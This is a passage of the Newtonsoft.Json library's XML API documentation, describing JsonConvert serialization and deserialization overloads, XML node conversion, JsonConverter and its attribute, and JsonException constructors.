name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTime,Newtonsoft.Json.DateFormatHandling,Newtonsoft.Json.DateTimeZoneHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTime\"/> to its JSON string representation using the <see cref=\"T:Newtonsoft.Json.DateFormatHandling\"/> specified.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"format\">The format the date will be converted to.</param>\n            <param name=\"timeZoneHandling\">The time zone handling when the date is converted to a string.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTime\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Boolean)\">\n            <summary>\n            Converts the <see cref=\"T:System.Boolean\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Boolean\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Char)\">\n            <summary>\n            Converts the <see cref=\"T:System.Char\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Char\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Enum)\">\n            <summary>\n            Converts the <see cref=\"T:System.Enum\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Enum\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int32)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int32\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int16)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int16\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int16\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt16)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt16\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt16\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt32)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt32\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int64)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int64\"/>  to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int64\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt64)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt64\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt64\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Single)\">\n            <summary>\n            Converts the <see cref=\"T:System.Single\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Single\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Double)\">\n            <summary>\n            Converts the <see cref=\"T:System.Double\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Double\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Byte)\">\n            <summary>\n            Converts the <see cref=\"T:System.Byte\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Byte\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.SByte)\">\n            <summary>\n            Converts the <see cref=\"T:System.SByte\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.SByte\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Decimal)\">\n            <summary>\n            Converts the <see cref=\"T:System.Decimal\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Decimal\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Guid)\">\n            <summary>\n            Converts the <see cref=\"T:System.Guid\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Guid\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.TimeSpan)\">\n            <summary>\n            Converts the <see cref=\"T:System.TimeSpan\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.TimeSpan\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Uri)\">\n            <summary>\n            Converts the <see cref=\"T:System.Uri\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Uri\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String,System.Char)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"delimiter\">The string delimiter character.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String,System.Char,Newtonsoft.Json.StringEscapeHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"delimiter\">The string delimiter character.</param>\n            <param name=\"stringEscapeHandling\">The string escape handling.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Object)\">\n            <summary>\n            Converts the <see cref=\"T:System.Object\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Object\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object)\">\n            <summary>\n            Serializes the specified object to a JSON string.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Serializes the specified object to a JSON string using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"converters\">A collection of converters used while serializing.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting and a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"converters\">A collection of converters used while serializing.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using a type, formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <param name=\"type\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using a type, formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <param name=\"type\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String)\">\n            <summary>\n            Deserializes the JSON to a .NET object.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to a .NET object using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeAnonymousType``1(System.String,``0)\">\n            <summary>\n            Deserializes the JSON to the given anonymous type.\n            </summary>\n            <typeparam name=\"T\">\n            The anonymous type to deserialize to. This can't be specified\n            traditionally and must be inferred from the anonymous type passed\n            as a parameter.\n            </typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"anonymousTypeObject\">The anonymous type object.</param>\n            <returns>The deserialized anonymous type from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeAnonymousType``1(System.String,``0,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the given anonymous type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <typeparam name=\"T\">\n            The anonymous type to deserialize to. This can't be specified\n            traditionally and must be inferred from the anonymous type passed\n            as a parameter.\n            </typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"anonymousTypeObject\">The anonymous type object.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized anonymous type from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"converters\">Converters to use while deserializing.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The object to deserialize.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The type of the object to deserialize.</param>\n            <param name=\"converters\">Converters to use while deserializing.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The type of the object to deserialize to.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.PopulateObject(System.String,System.Object)\">\n            <summary>\n            Populates the object with values from the JSON string.\n            </summary>\n            <param name=\"value\">The JSON to populate values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.PopulateObject(System.String,System.Object,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Populates the object with values from the JSON string using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to populate values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXmlNode(System.Xml.XmlNode)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.XmlNode\"/> to a JSON string.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXmlNode(System.Xml.XmlNode,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.XmlNode\"/> to a JSON string using formatting.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXmlNode(System.Xml.XmlNode,Newtonsoft.Json.Formatting,System.Boolean)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.XmlNode\"/> to a JSON string using formatting and omits the root object if <paramref name=\"omitRootObject\"/> is <c>true</c>.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"omitRootObject\">Omits writing the root object.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String,System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String,System.String,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>\n            and writes a Json.NET array attribute for collections.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String,System.String,System.Boolean,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>,\n            writes a Json.NET array attribute for collections, and encodes special characters.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <param name=\"encodeSpecialCharacters\">\n            A value to indicate whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverter\">\n            <summary>\n            Converts an object to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverter.CanRead\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can read JSON.\n            </summary>\n            <value><c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can read JSON; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverter.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value><c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverter`1\">\n            <summary>\n            Converts an object to and from JSON.\n            </summary>\n            <typeparam name=\"T\">The object type to convert.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,`0,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,`0,System.Boolean,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read. If there is no existing value then <c>null</c> will be used.</param>\n            <param name=\"hasExistingValue\">The existing value has a value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverterAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to use the specified <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> when serializing the member or class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverterAttribute.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonConverterAttribute\"/> class.\n            </summary>\n            <param name=\"converterType\">Type of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverterAttribute.#ctor(System.Type,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonConverterAttribute\"/> class.\n            </summary>\n            <param name=\"converterType\">Type of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</param>\n            <param name=\"converterParameters\">Parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>. Can be <c>null</c>.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverterCollection\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonDictionaryAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the collection.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonDictionaryAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonDictionaryAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonDictionaryAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonDictionaryAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonException\">\n            <summary>\n            The exception thrown when an error occurs during JSON serialization or deserialization.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member 